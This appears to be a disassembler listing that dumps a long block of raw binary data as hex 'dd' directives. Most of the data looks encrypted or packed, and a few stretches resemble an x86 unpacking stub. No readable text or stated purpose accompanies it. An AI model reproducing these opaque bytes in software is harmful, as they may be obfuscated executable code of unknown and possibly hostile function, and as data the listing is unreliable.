0BC873E8Bh, 8B0A764Eh dd 1793DA0Fh, 0C0646DB2h, 0C2730B17h, 3A5F8F79h, 0D8CBC9Eh dd 575C61CBh, 43677C1h, 1506F304h, 0BD197BABh, 5366AFE8h dd 39Bh, 95A30F7Bh, 0A81A2AC4h, 0F59D1A5Fh, 7829AFE4h dd 0B8FA34A0h, 573AE93Fh, 0B0AEB90Eh, 453D6E40h, 37E7894Dh dd 0E1117B5Bh, 0A9B620B8h, 0DC0C0E5Fh, 0E471CBAh dd 0CDA23460h, 751D4B94h, 464F7F61h, 7D593B6Bh, 0F1C66B19h dd 4D37E892h, 24CA1C99h, 2C01B214h, 0F28A8F40h, 529B6792h dd 5A7C1848h, 26B2E311h, 14C2D484h, 8AA2533Fh, 13E592F2h dd 2AACEADAh, 96E82288h, 675F92F2h, 15072DA8h, 0FFFF4954h dd 0F89D8FFFh, 78E3EE0h, 5F10FCD1h, 3792F18Dh, 5342026Bh dd 5F33E385h, 71B6A277h, 0C63652Fh, 0D6771BAh, 652F7927h dd 0FC45F663h, 75828484h, 7570C5h, 68980000h, 1E63AC2Ah dd 774FBD87h, 43D70A91h, 1D68799h, 43D66815h, 0B7230399h dd 0E43C74FBh, 0A63261B1h, 9EE798D1h, 0A7619BD4h, 8135454h dd 0A1AC8AEh, 0E6979944h, 327B5D38h, 261Fh, 9E75A00h, 8092F198h dd 0FFFE3AB7h, 197372FFh, 0F18D8533h, 8510292h, 1ABFh dd 78FB6700h, 0BA3FC7BBh, 820B5099h, 277h, 3CEAD02Ah, 0B992F18Dh dd 9D7ABF08h, 0D50BE0F8h, 0B07618C0h, 0BC1C7BE6h, 744D330Bh dd 0C4993EA9h, 8CD50394h, 7ED8B061h, 3EA9EA98h, 6DB66799h dd 0AE4CB818h, 3F94F3A8h, 3DEFD31Ch, 0D8993EB5h, 0AB89EF8h dd 87993EB6h, 6AC38DD6h, 4B0CB050h, 413C13h, 87770000h dd 91774FBDh, 993E8DF0h, 4F891040h, 0CDF8417Ah, 7F14441Ch dd 5BBB1059h, 966B6B2Bh, 0FBC8D624h, 9F5071E8h, 12E1E1B5h dd 0B70023A6h, 3ED021D3h, 16ABC99h, 4B6219F7h, 0A1E313h dd 9D1E0000h, 0D50BE0F8h, 0E4419BDh, 467C5187h, 57B1894Fh dd 0F18DC371h, 468F4092h, 92DBBE24h, 405592F1h, 6630F698h dd 0A4F020F8h, 0DB245D32h, 476D9D83h, 8DBD9941h, 7524D206h dd 0C558E63h, 285830E1h, 1ACA6C6Ah, 0FAA35E78h, 607A28C6h dd 45CBA0Bh, 0FB9D0000h, 0E8939DBh, 1B7828CAh, 296B1BBDh dd 375B0BADh, 2E64FD9Fh, 53F5E1B1h, 40E2F6A3h, 2ED00690h dd 1FC1177Eh, 0C6745AB2h, 439943E0h, 4373E7B4h, 4A314A53h dd 0B9033174h, 9C4A3008h, 1992F26Fh, 0A1F11F68h, 0B2E39335h dd 9DBD8426h, 0D50BE0F8h, 0B07618C0h, 9ED33FE6h, 6EB804F4h dd 0DFB5E5BDh, 8D4949F7h, 0A506EC44h, 22993F69h, 0C3C9C71h dd 23075086h, 993F6973h, 2F3D6E38h, 3E98FA65h, 6ECFB58Dh dd 0EB9F8C6Eh, 6E7F2D13h, 4BFC9F8Ch, 0BE0F89Dh, 194921D2h dd 0A351377Ah, 209F8C6Eh, 0B0E9BE6Fh, 0B57F4567h, 9A896F47h dd 0EAA5DEB7h, 0B7FCAA90h, 673AA5DEh, 493896A2h, 115A0BB6h dd 2D5D35E6h, 6AD07266h, 0A5DE9DC2h, 187F5A3Ch, 0DAB2EBC0h dd 0DE9D46F4h, 6112C3A5h, 72F4BFh, 0E7AF0000h, 92F18D35h dd 973F5585h, 0A83D0A4Eh, 0F18E14C2h, 2FE09192h, 6917FD57h dd 0E692F18Dh, 1ACAEC35h, 2D875F79h, 0F18D9947h, 1C651692h dd 8D2DDBC7h, 6DC192F1h, 0AAEA1A3Ch, 0DEB5E32Ch, 8D3FEDD3h dd 0BBC92F1h, 0AEDEB85Ah, 77A5EEE8h, 0FCAA901Fh, 7992F18Dh dd 564217C8h, 92F18DA5h, 8E63731Fh, 0C89D3B58h, 0DF0398Bh dd 2D155628h, 4CB6D69h, 0B5E0F99Dh, 679D7223h, 4950802Fh dd 8D7D2B8Fh, 49FA92F1h, 0ED8C398h, 25B1E5DDh, 5DC8E14Dh dd 6A6EEE0Bh, 6D99FF21h, 0E492F1D0h, 6672DECh, 0FF59D915h dd 7314FFFFh, 3B845443h, 7B50880Dh, 0B0885045h, 79C21480h dd 59C79157h, 0A9C29B81h, 8E3F993Eh, 0C71186B6h, 1B70B9F2h dd 3EA97D2Fh, 65C61899h, 84544373h, 38C5C33Bh, 3EAF134Bh dd 0EA000000h, 774FBD87h, 0EA78B11Dh, 0EAB08EBBh, 0AB80563Ch dd 0A4452972h, 21993F06h, 0FDAF9B70h, 98993F06h, 87F3E546h dd 9534A7E3h, 5CD41DD8h, 134BB9BCh, 18C0D303h, 0AEC10A43h dd 0A8h, 0E0F89DE9h, 1AC8AE08h, 9792F18Eh, 12489DE6h, 4B815680h dd 83B98E4Ah, 0BE24C612h, 92F192DBh, 0F6984055h, 2DABEC1Ch dd 0F9DFB6E4h, 0A00ED824h, 0C3D5E2C8h, 0A152993Eh, 16F39FFh dd 7B0D4329h, 0D98A9F8Eh, 18C1D101h, 0D0A8597Fh, 10E5F3A0h dd 0BC6C8ED7h, 0A64500D6h, 0F88075FAh, 1F452A3h, 93050000h dd 0A6F1A143h, 0B3E09032h, 0C1D38325h, 0CFC37315h, 96CC6507h dd 0BB5D7919h, 0A84A8E0Bh, 96389EF8h, 8729AFE6h, 2EDCC21Ah dd 0AB9943E2h, 0F59D4F1Ch, 68F3FE1h, 265630D2h, 0AB91696Fh dd 92F18DFDh, 3B80C97Ah, 4152BD87h, 0DE0EE697h, 134C21B7h dd 0EB8C72CAh, 68993E8Dh, 25FADCBAh, 7A663BECh, 993E8DC8h dd 0BED81163h, 0FED3058Eh, 4047CC5h, 0F0134B20h, 0D7h dd 0E0F89D2Bh, 19BDD50Bh, 92755844h, 0A6EF92F1h, 9277250Bh dd 43F492F1h, 0FFD40495h, 0C37315C6h, 0D13106D2h, 602A3B65h dd 3D498A08h, 0D7CA5EE3h, 0F63A8334h, 8CE6BE2Ch, 0F18DF8A6h dd 7BC47592h, 0BF303D23h, 0FCAD993Eh, 5CCA945Ah, 96442A84h dd 13993EBFh, 0DBC11962h, 9F8E7346h, 0A3A12C3h, 6A455188h dd 8E73D684h, 0F1A2539Fh, 18F9E31Ch, 31916BF4h, 0E2BC5E0Fh dd 39A90476h, 341E2696h, 0AB4E672Bh, 0BCEA33EEh, 0B04500D6h dd 0EE8075FAh, 0E44899h, 83150000h, 9601B153h, 0A3F0A042h dd 0B1E39335h, 0BFD38325h, 0A6DC7517h, 0CB6D6929h, 0B85A7E1Bh dd 0A6488E08h, 97399FF6h, 3EECD22Ah, 0BB9943E3h, 0F59D5F2Ch dd 7324B2E4h, 0CEC7F7D1h, 293C10Ah, 9D6D34D6h, 9C08E0F8h dd 0C1B4B095h, 8BE029EEh, 0F6984055h, 20F86630h, 0A432E0C6h dd 1AF92F1h, 326B4098h, 0FAE03881h, 9943ED6Fh, 7D5B3EECh dd 0E9BE6FA8h, 0E9CFE2B3h, 9943ED3Bh, 0EDF7A58Bh, 0C3749943h dd 0FB7D6718h, 0E6425048h, 9D4DEFA0h, 1F0BE0F8h, 0E6D8385Ch dd 542C7DCFh, 0DEF89A41h, 7D1FD009h, 8613C8CDh, 93447D52h dd 0CA0C88BEh, 2485D9F5h, 0FD9F395Ch, 33A3F323h, 0AEDC255Eh dd 0CB1CF1E7h, 1Eh, 74090773h, 0F5CA0C8Ah, 4716D2BCh, 0F4D58369h dd 0A152E6D7h, 7362A7F0h, 3E874F43h, 0FB9DA6EBh, 0C5D006DBh dd 8E083E13h, 5C3D7348h, 2171A77Ch, 0E8AAE0B5h, 0B1E319EEh dd 791A5025h, 43548A5Fh, 683DC095h, 173Dh, 83242C89h, 1C8904ECh dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 2404895Ch dd 4E6868h, 24348900h, 0B340E9BEh, 6ECE810Dh, 8154727Fh dd 0A13661EEh, 5EF38957h, 24048B54h, 8104C483h, 4ECh, 241C8900h dd 8B08408Fh, 89502404h, 405E0h, 0C0830000h, 24048704h dd 2434FF5Ch, 4C4815Bh, 0E9000000h, 0FFFBE982h, 6E71A32Ch dd 0FC3159E7h, 5781B864h, 0C5030652h, 1982E0FFh, 0A9D633A7h dd 11EA1FF0h, 69DE5F55h, 0C5D60E57h, 0E51E6DC3h, 0EE3D7280h dd 0E73760DBh, 5C2237D1h, 2D725629h, 7F30505Dh, 0FF36100Dh dd 564D6118h, 6064431h, 58D333EEh, 0D3014986h, 178B2436h dd 0A45E2944h, 64F73503h, 7DC31B31h, 3C9E5EE7h, 0C59603A9h dd 4D767B1Eh, 18C3651Eh, 2D8F3596h, 0B0E91E69h, 60000000h dd 0F6DA8C66h, 850F04C2h, 0Ch, 1431853Bh, 840F064Dh, 36h dd 22C1853Bh, 840F064Dh, 2Ah, 395853Bh, 840F064Dh, 1Eh dd 2CE1853Bh, 840F064Dh, 12h, 3D1BD83h, 0F01064Dh, 584h dd 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h, 840FC985h dd 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h dd 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4DE59D8Dh, 5B8064Dh dd 0FF000000h, 0BC361E3h, 60EBD0h, 0 dd 16h dup(0) dd 0E9000000h, 0C2Dh, 0C21E9h, 621B6800h, 2EE90652h, 68FFFB26h dd 6526372h, 0FB2624E9h, 63EA68FFh, 1AE90652h, 1EFFFB26h dd 0C6A6B258h, 694955FBh, 0DEDF99Fh, 0AE8E9A40h, 31333FE5h dd 6B11DABFh, 12B87F5Fh, 0B45A2606h, 5A00C8A8h, 0BBEAB74Eh dd 0D4FCC7C5h, 3E9C616Ch, 0B57DCC72h, 0B95F2886h, 0CE2C7BECh dd 79946107h, 2A36DCA3h, 97D51F5Bh, 7885BA6Eh, 4EFE3749h dd 2891FADBh, 20B37BD9h, 6FE0AD53h, 9963C106h, 66B526F3h dd 0C1673391h, 0EEA7407Ch, 73CF7B9Ch, 2AF14F24h, 9059B784h dd 0D5A033FDh, 88F1622Fh, 5E8DDA1Fh, 0DB4E6822h, 0E59BCA0Fh dd 4CDB4E67h, 562B7AE3h, 0BC892FF8h, 0A6EB915Eh, 67562A59h dd 72DBDB4Eh, 26F04E23h, 0BC25CB93h, 20C691EFh, 0DEA80653h dd 0C70EE938h, 3B0260A5h, 3C7E43CAh, 1E873367h, 0C38AE051h dd 3481CE1Dh, 0F9AC26F8h, 8EE4774Ah, 0E25320C6h, 4ABB6493h dd 0CD36D13Dh, 0BFEE3B88h, 0D4FC96C1h, 93C20770h, 0D4FC96EDh dd 2E8CDB44h, 54B1BD63h, 4EACF187h, 428FDE84h, 0FC966913h dd 0A972C8D4h, 5DFA3603h, 5F6BC612h, 0CD369Fh, 493766B3h dd 0E8D4FCCFh, 0AD2307Fh, 2B1A1499h, 4CB5EB39h, 0AD75F640h dd 4675C207h, 0DB4F203Ah, 0C95A8EF7h, 0D68B5A06h, 0FE68307Fh dd 5F288636h, 2C7BECB9h, 26E68651h, 0C56D75BFh, 0DB31636h dd 20EF91C0h, 0D942DE4Fh, 3E228Ah, 86600000h, 20760A39h dd 52BBDB4Fh, 0C1AF2803h, 984A8601h, 8D53874Eh, 0E0DB0ACCh dd 1E6010ACh, 2D5382CFh, 4DB4ED9h, 0BE86DB9Bh, 4404AA75h dd 0BA602886h, 0A5F49A64h, 57B58E56h, 6B000000h, 4C91DFF8h dd 0B38026EEh, 862BF342h, 20760A39h, 52BBDB4Fh, 0B69B603h dd 67F7D142h, 0F61D388Ch, 0F94FC08Dh, 4DBE8B31h, 95B1CFFEh dd 0A806DB4Eh, 0DCEB3AE0h, 0FB59A6EBh, 1B658C32h, 16DB4E96h dd 95DEA2D1h, 0EA53DB4Eh, 866A3281h, 17AA75BEh, 7D3DA64Ch dd 0DDF8BC84h, 0F01B4A8Fh, 61D1382Ch, 0CC993F0Bh, 60ADF25Bh dd 9D7DE224h, 2950DFDEh, 0D5017857h, 4D2271DAh, 178561Eh dd 88BC2AD5h, 5BEA354Dh, 1B2E2B6h, 0F8200000h, 0FB488DE3h dd 21ECE0BFh, 0AA7EB258h, 0E61564ACh, 0DB4E3CA2h, 0B69369Fh dd 0C2919D43h, 6F52FF86h, 4EC34040h, 5488F1DBh, 257B2093h dd 79EAB75Dh, 0AD75622Ah, 36FE4707h, 0D191DFF8h, 0DE602886h dd 4F20D1AFh, 8EF760DBh, 0A9F185C1h, 0EC45626Eh, 0D6203483h dd 1636C56Dh, 0E4AF0DB3h, 0B100713Eh, 3549h, 0DFF88700h dd 3986D191h, 20C3BDECh, 56EDB4Fh, 20F987B6h, 0CF38DB4Fh dd 0A39860Fh, 0DB4F2076h, 0B60352BBh, 5D2886EEh, 3F0A68B7h dd 0BC84D999h, 29B5h, 0DFF86B00h, 5786D191h, 0DB4F2129h dd 8026EECCh, 0BE865717h, 4404AA75h, 53FB3784h, 0BA8A2C1Fh dd 22026CA0h, 7862D63Dh, 0E3F86129h, 6B19488Dh, 0D6DB4F20h dd 7A42A06Dh, 757EC8D4h, 0FE4707ADh, 144A8636h, 3B00B09h dd 83542F7Eh, 2C5BA8EDh, 0DB4E9B54h, 2F74DDh, 0DB4E9B80h dd 31F948B1h, 0C56D75BFh, 0F2B31636h, 56h, 91DFF830h, 0A3986D1h dd 0DB4F2076h, 394776BBh, 0F8DB4F20h, 8AD7268Fh, 7218DF3Dh dd 208CF423h, 3CA5DB4Fh, 57BAAF7h, 2CDB4F21h, 86AC74C3h dd 28AA75BEh, 4F2087F9h, 0D841AADBh, 0B64A8618h, 459AAD2Fh dd 0B7D7A9D8h, 0F15ADB4Eh, 22EA3988h, 48B5h, 39866B00h dd 4F20760Ah, 9A65BBDBh, 613C8BF4h, 8636F676h, 4F212957h dd 96DBCCDBh, 20661A49h, 62CBDB4Fh, 0CE9B410Ch, 86460E5Dh dd 204A86BEh, 8D101FE9h, 38DEA8FEh, 4DABFA6Bh, 861CDC82h dd 62B85E28h, 55A4F399h, 0CEB58Dh, 0AAE60000h, 126D4FB6h dd 5CD1C57h, 488DE3F8h, 6F33F40Ch, 0D98F74D4h, 34013583h dd 5AA7F609h, 4E795D2Bh, 0AE7BE4DBh, 0D6E28850h, 7AD758Ch dd 64B1FE47h, 4F204B35h, 72A1E6DBh, 0DB4F210Eh, 251BA23h dd 91DFF83Ah, 6D75BFD1h, 0B31636C5h, 44F2h, 39863000h dd 4F20760Ah, 0FC52BBDBh, 643F8E34h, 6BB8FD73h, 4F20443Ch dd 3F84EDDBh, 4F207010h, 958C1DBh, 0FD398641h, 98E8FF7Bh dd 184796F8h, 0DB4E9268h, 86A060C9h, 4AA75BEh, 0B5BC8444h dd 38h, 91DFF86Bh, 5D2886D1h, 0EC1B68B7h, 0DB4F2094h, 0AE78D623h dd 0A3CA3B08h, 0DB4F20DDh, 8D9CEB54h, 0BE86DC9Ch, 0BF04AA75h dd 0E7357C83h, 0C6153319h, 0D93784FEh, 5018670Dh, 3A07AD75h dd 256A10DCh, 958FEC7h, 0A74D15F5h, 973D0462h, 26CBFD63h dd 0D5C30D2h, 0A9790938h, 866ADB4Eh, 17DE3CDEh, 0AE17BD84h dd 0B739015Fh, 4EA9F888h, 67D039DBh, 0DB37B5Bh, 7FE75F40h dd 0E8B05311h, 1BE88E55h, 0D83541AAh, 0DD2A6FFDh, 0B80EB47Fh dd 0CDFC4BF1h, 0D137B63Eh, 4EF4BD13h, 62A71081h, 5116CC26h dd 0A415E288h, 3E64070h, 22233440h, 69BF2873h, 0D6ABFAA0h dd 203CDA7h, 1F45B3D5h, 5B5F42E4h, 1779B6h, 75B70000h dd 0A74D1AADh, 330069DAh, 4F207C04h, 0C18367DBh, 0A4B0561Eh dd 0A39865Ah, 0DB4F2076h, 0F29865BBh, 0FC4BB425h, 6330D69Eh dd 9E6BC916h, 93BA2BF8h, 0DB4F20EDh, 6796DB44h, 0DB4F2119h dd 8560AF18h, 8AD71C50h, 0EDBA602Ch, 212B557Ch, 9D06DB4Fh dd 67B4014Eh, 4F204838h, 0C793E9DBh, 7AE35421h, 7AEFFC2Bh dd 0B922D13Dh, 0B380DEADh, 0C67E0231h, 4AB3D4FCh, 54A314E1h dd 0CB105C79h, 0E5D36F9Ch, 3479E2CAh, 0BBC8B8E7h, 69CEAFh dd 0C7ADDCB1h, 0B9CEAFBBh, 9C420C6Ah, 9163E14Dh, 10277355h dd 0CE1D48CDh, 891FDE68h, 2FFDBCh, 0F83B0000h, 31D7A0E3h dd 3C5483C8h, 9BDB4F21h, 0FBAD485Fh, 67B6A598h, 88E62B94h dd 79C615BBh, 9FAB511Bh, 5AB72D0h, 5A78C738h, 23h, 8DE3F810h dd 206B1948h, 91D6DB4Fh, 4F211E62h, 41AA13DBh, 5B73AFFCh dd 0B3B92412h, 0BA84E231h, 86BE0814h, 20760A39h, 52BBDB4Fh dd 17CE503h, 0F89B0000h, 0FE4B90E0h, 4F20B1CFh, 0C11780DBh dd 3A0251F7h, 0B65C2886h, 0A4F39960h, 8F4682CFh, 233E90BAh dd 75F5BD0Ch, 0BF4707ADh, 36C56D75h, 0D10DB316h, 63BCBBA7h dd 80AF39h, 31DE4ECCh, 0A8105FC8h, 49h, 90E0F8E6h, 295786D0h dd 8EDB4F21h, 0F6C36930h, 0D633685h, 75359E44h, 7C914A86h dd 675B8392h, 7503CB18h, 86FA29ABh db 20h, 4Fh word_594F42 dw 0ABDBh ; DATA XREF: ___:off_438130o dd 8419D942h, 0C5BBEA37h, 0E1DB4F20h, 33A47117h, 0A1471268h dd 0B521E938h, 1Bh, 5B28866Bh, 4D8B66B5h, 57866525h, 0DB4F2129h dd 861BDBCCh, 5AB75BEh, 75BC8445h, 0FE4707ADh, 0A4DFF836h dd 0F96A37DDh, 2886D090h, 7AEBB85Eh, 0C48172Bh, 42849CFFh dd 0A3653D7Bh, 0CEDC5185h, 670DD82Eh, 12DA299Ah, 1636C56Dh dd 30F2B3h, 0F8300000h, 36DCA4DFh, 622A88CDh, 86A56DBCh dd 80ABFF4Ah, 0C016A8D8h, 0B70453F9h, 4E41F888h, 10D039DBh dd 0AA75BE86h, 0BC844404h, 3DB5h, 0DFF86B00h, 3986D191h dd 8B61B0ECh, 0DD18711Eh, 4E8ACAB6h, 0A8FE67DBh, 0FC6D3AE0h dd 8B027EADh, 26F3DB4Eh, 4E8A89F7h, 0D63FA8DBh, 75BE8616h dd 83BF04AAh, 4B637500h, 0A870BF01h, 0A975BC84h, 2088F827h dd 541EDB4Fh, 0A570E1AEh, 76DF854Fh, 6211400Dh, 66DB4F20h dd 4D19CC78h, 6ECC9BA7h, 0E532FFA5h, 4F20CAB6h, 95FE67DBh dd 0A9757E46h, 0CD83603h, 43A99966h, 6C12DE01h, 5C02C927h dd 0BBCF1E8Fh, 4F2B080Ah, 0CF44E0DBh, 77BEE6DFh, 0C93A07ADh dd 54B2F760h, 0D6331C8Dh, 80BDAA50h, 0C362C817h, 0F6B016CFh dd 0FFFFFE47h, 0AF4A8634h, 20C68E5Ah, 6FC0DFECh, 5083F120h dd 0D724DB4Eh, 4E50D8A8h, 5D03CEDBh, 0EB541F90h, 52876D9Ch dd 433EDB4Eh, 74DB4E50h, 0A3B7C038h, 4F7ECAD4h, 0DB4E4531h dd 0DF2E9700h, 4E44C4B0h, 447301DBh, 2252DB4Eh, 0F79B4E44h dd 1A498EDEh, 113E3ECFh, 21FCC932h, 0D3ADDCB4h, 0D314FE4Ah dd 329B660Ch, 925584C9h, 6F0AE75Fh, 5342EE06h, 956A587Eh dd 2D277h, 24CA9000h, 0C76D3818h, 6B11DBBBh, 0CB27F5Fh dd 0B1572000h, 4C0DA3A5h, 0F1D1DD83h, 9878842Ah, 3A1A26CCh dd 29C0CC72h, 0BE532D5Ch, 0D3DED4FCh, 7AD7593h, 0A7D286C2h dd 49C10151h, 9CD825FAh, 9CBE25A1h, 0F19761A0h, 775E3988h dd 0D257912Ah, 438EB7F5h, 731C3C9Fh, 4B1369D2h, 0FE67D8A5h dd 5E658AB9h, 43ACD13Dh, 0AAEE8637h, 5BB9D4FCh, 0C894EA90h dd 95E45522h, 0C511BBAh, 0EB0536DDh, 8D331CAh, 0EA401362h dd 5B22781Eh, 0E77E8B5h, 521E7CC9h, 1F6EDFACh, 4753F9C1h dd 2CF99F67h, 0AA517FFDh, 412BAACEh, 5E6CC0FCh, 0B78953D7h dd 14B32B83h, 4E9DEB4Dh, 0B625D201h, 93FCC498h, 8228F04Eh dd 5DCE9676h, 4C1B8D04h, 8C59C233h, 915B24B1h, 0E3D82EBh dd 0BE461DDDh, 0B1FECB34h, 17E48A53h, 4E3261A6h, 0E3C20569h dd 85502B7Ah, 69A4DC0Bh, 248DC205h, 0F86107CEh, 0C49B84B3h dd 0ED56B7F3h, 0DC824AA8h, 0B7C501D0h, 7B5CACD3h, 7D45A3F2h dd 99DB0AD7h, 80BBB307h, 0A3D21755h, 0B1A12E4Ch, 428F5CC5h dd 10A20F06h, 26759A95h, 9DE28A4Bh, 6EB31450h, 0AADFA8D0h dd 607A057Bh, 5AC32CB5h, 9183DC0Bh, 56EAB49h, 0D8054DEDh dd 6C8A5FB8h, 17Bh, 6F7B21E7h, 121EC48Fh, 0B6C26832h, 576309D6h dd 0FC08AE77h, 0D8A1F6FAh, 7F462632h, 21EDCDD9h, 0C78F6F7Bh dd 0B17E1521h, 0FCBDFE82h, 0E82833D4h, 4A8FDDF8h, 20B2CEFDh dd 297FDB4Fh, 7CEDBA60h, 4877C413h, 0D13D7AA7h, 5934016Ah dd 4DABF07Ch, 0A112DF85h, 6BB80552h, 0FCC6443Ch, 0F19762D4h dd 7FE8B324h, 0F0AA0130h, 0FE67CAE5h, 7C3E6EE6h, 5B794E98h dd 103h, 0E7F3995Fh, 8A963C07h, 2E3AE0AAh, 0CFDB814Eh dd 748026EFh, 50197E72h, 0F7BE9EAAh, 99654551h, 3F07E7F3h dd 29F68D99h, 0FCBD86FAh, 60A0ABD4h, 4A8FDDF8h, 3D7ADC1Bh dd 0A46DCBD1h, 71C031FEh, 0D97F489Eh, 65329B0Ch, 8D993F07h dd 0F09660BEh, 3F7FE723h, 0A75267C0h, 751BE83Eh, 8AE837A8h dd 79D71CC2h, 0EDB60CB2h, 4823F847h, 6B9ADF8Dh, 0CAEB25A8h dd 0F5C4D039h, 0E3197CB9h, 81B0DD9Eh, 0CEAA75FFh, 1160C932h dd 3642E8B3h, 0A1E68C56h, 755B2554h, 6DD6CEAAh, 5D2A0A1Eh dd 4B1472B7h, 75E69AC9h, 0E24BCEAAh, 36162A79h, 0DBBBC76Dh dd 0A5D6A112h, 0BECE6C8Dh, 48364A79h, 92FBCEAAh, 27A8E429h dd 9E365C29h, 0E2B1C514h, 0C9953A6h, 0B0FF162Fh, 0D9E58B52h dd 7B872DF9h, 0DE844EACh, 0F351A011h, 9979852Bh, 0C3202CD2h dd 0E6155A12h, 0C499012Dh, 207E4BB4h, 6A6B258h, 3, 758C54BCh dd 0DE3C09AFh, 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h dd 0DC3A07ADh, 3E9C690Fh, 0A301CE74h, 0E86532D8h, 8904EC83h dd 0E0892404h, 405h, 4E88300h, 5C240487h, 81E18951h, 4C1h dd 4E98300h, 5C240C87h, 57243489h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 0B9512404h, 65259A9h, 0C8BCE89h, 4C48324h dd 24048B54h, 5204C483h, 8BAh, 9EEA8100h, 1730013h, 9EC281C2h dd 89730013h, 48B5A32h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h dd 1AE95C24h, 1AFFFB1Ah, 12B85E58h, 3065265h, 0E9C38BC5h dd 15Ch, 9E960h, 71130000h, 6DDC97Eh, 0F46E8E3h, 0E961D0B7h dd 0Fh, 4FD5BD12h, 719B0143h, 9B242116h, 8DE6B70Ah, 52664EB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 9AA63082h, 7AE0224Dh, 8830FF3h, 60000000h dd 8D0Fh, 8D610000h, 50494D85h, 11870F06h, 0F000000h, 0B88h dd 6E900h, 3CF20000h, 0E33B2EE5h, 0C3F8D0FFh, 0FE9h, 0B58D5700h dd 0A29061E3h, 0A97C2514h, 8A02186Fh, 0E9D98C66h, 0Dh dd 7806102Eh, 0A41EBF46h, 0D268BC9h, 4C1F65Dh, 84840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0E5FF8BC3h, 6F01CFh, 128E0Fh, 0DE90000h dd 23000000h, 0CBB4326Fh, 82B9C348h, 0D11A7B6Fh, 2AB86660h dd 68B0F3Fh, 0F000000h, 8Ah, 0FB8B6100h, 0C032CB8Bh, 2BFD75AEh dd 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh, 0C00B0001h dd 708D1874h, 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh dd 0B8E4EBh, 0CF000000h, 0AE9h, 0F3B81800h, 7DB9943Ch dd 0E9DFB591h, 0Ch, 502C0D0Fh, 0D69BD0FFh, 53B661D1h, 66D085C7h dd 13F0652h, 8D8D0001h, 65267BDh, 0D9D8529h, 8D89064Dh dd 64D0599h, 89DFBF0Fh, 4D06DD85h, 1D85C706h, 90064D05h dd 8100006Ah, 713700D8h, 0E985C77Bh, 64D02h, 0F000000h dd 880h, 858B5300h, 64D2139h, 5B5FF5Ah, 6A064D2Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 80FFC351h, 8B44681Ah, 4D2EA595h, 5595FF06h, 6A064D2Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0E89EC351h, 0D6FEBB66h, 95FF006Ah, 64D0511h dd 6AEBC08Bh, 3C699259h, 9F3DF62Ah, 6B9B33DAh, 0DB25CD8Ch dd 46F9E4BDh, 5EBC9CEEh, 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh dd 0D43DBD6Ah, 0F917793h, 294055B7h, 9821B3Ah, 542EB427h dd 81213D38h, 0FFC5831Bh, 5A3E387Fh, 30B5485Dh, 44808933h dd 0F72B8B5Ch, 0D1DFEB86h, 369DA8C8h, 0B17D9950h, 86FE4689h dd 0C6F273FCh, 0CCCEDB80h, 12E843C9h, 7D000000h, 35F3DFFDh dd 1D2181A7h, 0CAAD6F64h, 1A3066DFh, 0C6B70FF8h, 0C181F859h dd 71FAh, 12319D8Bh, 5568064Dh, 100001Ch dd 4D2C7D9Dh, 9D8B5A06h, 64D2DEDh, 0BE6631FFh, 895F9A87h dd 4D3311B5h, 0BFF78106h, 0F3E78D3h, 689h, 95B58900h, 81064D26h dd 0F84553C7h, 21BD093Dh, 81064D20h, 54491BF7h, 0DE84Dh dd 0F8960000h, 315DADA8h, 51ECA2B8h, 8BA67F8Dh, 4D1B29B5h dd 39895E06h, 33399589h, 0E981064Dh, 77B8A033h, 2958B866h dd 0A02FC181h, 858B77B8h, 64D0CB1h, 91850F4Ah, 29FFFFFFh dd 4D33398Dh, 9E114C06h, 0F2484DE9h, 7AC43A5h, 137331F1h dd 6F374A05h, 0BE72FC79h, 0FD87D5FFh, 83877182h, 0C8269F30h dd 0BC7A3747h, 3F8A6A23h, 0BF31B922h, 0BE1DFF3Fh, 0BE5D3D30h dd 0BE347666h, 0E0174F30h, 0CABEF9F3h, 0FAB6D714h, 0BE22ED14h dd 0E871F430h, 572D4CF3h, 0BE373E99h, 0F543288Ah, 6D884078h dd 9C5E1AB3h, 0B137D57Dh, 0BE37CCB4h, 0BE241C30h, 39F47A30h dd 38BD668Bh, 0A0959CF0h, 7C9EB6E1h, 87C404D6h, 576E2F91h dd 0BE37EA45h, 3E624A56h, 3BBA7185h, 0B86555CBh, 56679E5Ah dd 0BE374F33h, 0E6F4FF10h, 0BA1397B9h, 0BA13ADB1h, 0BE37F42Dh dd 59F42A70h, 834753C0h, 0E300B099h, 84882933h, 0DE8937DCh dd 0EE7F0B6Dh, 0D5BDC58Ah, 0BE5D644Fh, 0BE349267h, 0E1173D30h dd 0C2BEC1F3h, 0FAB64B14h, 0BE20A314h, 0E970D330h, 0FC5B66F3h dd 63B279CDh, 0EF312858h, 0BE3730D8h, 0BEF6D230h, 0BD891D4Dh dd 0CB26F879h, 0DF57E5C6h, 0B1A7B069h, 0BE37F1B3h, 7702C530h dd 0EE674F74h, 0BE277762h, 1864F30h, 192AC523h, 0E649CD89h dd 0D237A332h, 8F387FEDh, 4DBC1C60h, 2E6F676Eh, 0A9AD148Fh dd 0B3A2B06Bh, 0D431EA14h, 0BDDF8130h, 9E37E930h, 376D376Ah dd 3F335E64h, 0A9331974h, 0FC379E30h, 48A98C62h, 7EBCB439h dd 5661D35Ah, 0BE37E933h, 0E0F4AA10h, 0BA130EB9h, 0BA1379B1h dd 0BE379E28h, 4AF41976h, 4DA84B20h, 0BE37C3D8h, 0CD58A330h dd 6BA8CAC7h, 21C85F19h, 3EC0689Ch, 0E467CED2h, 3B41169h dd 0B87ABCE9h, 3D3EA630h, 0F337F88Dh, 0A743F436h, 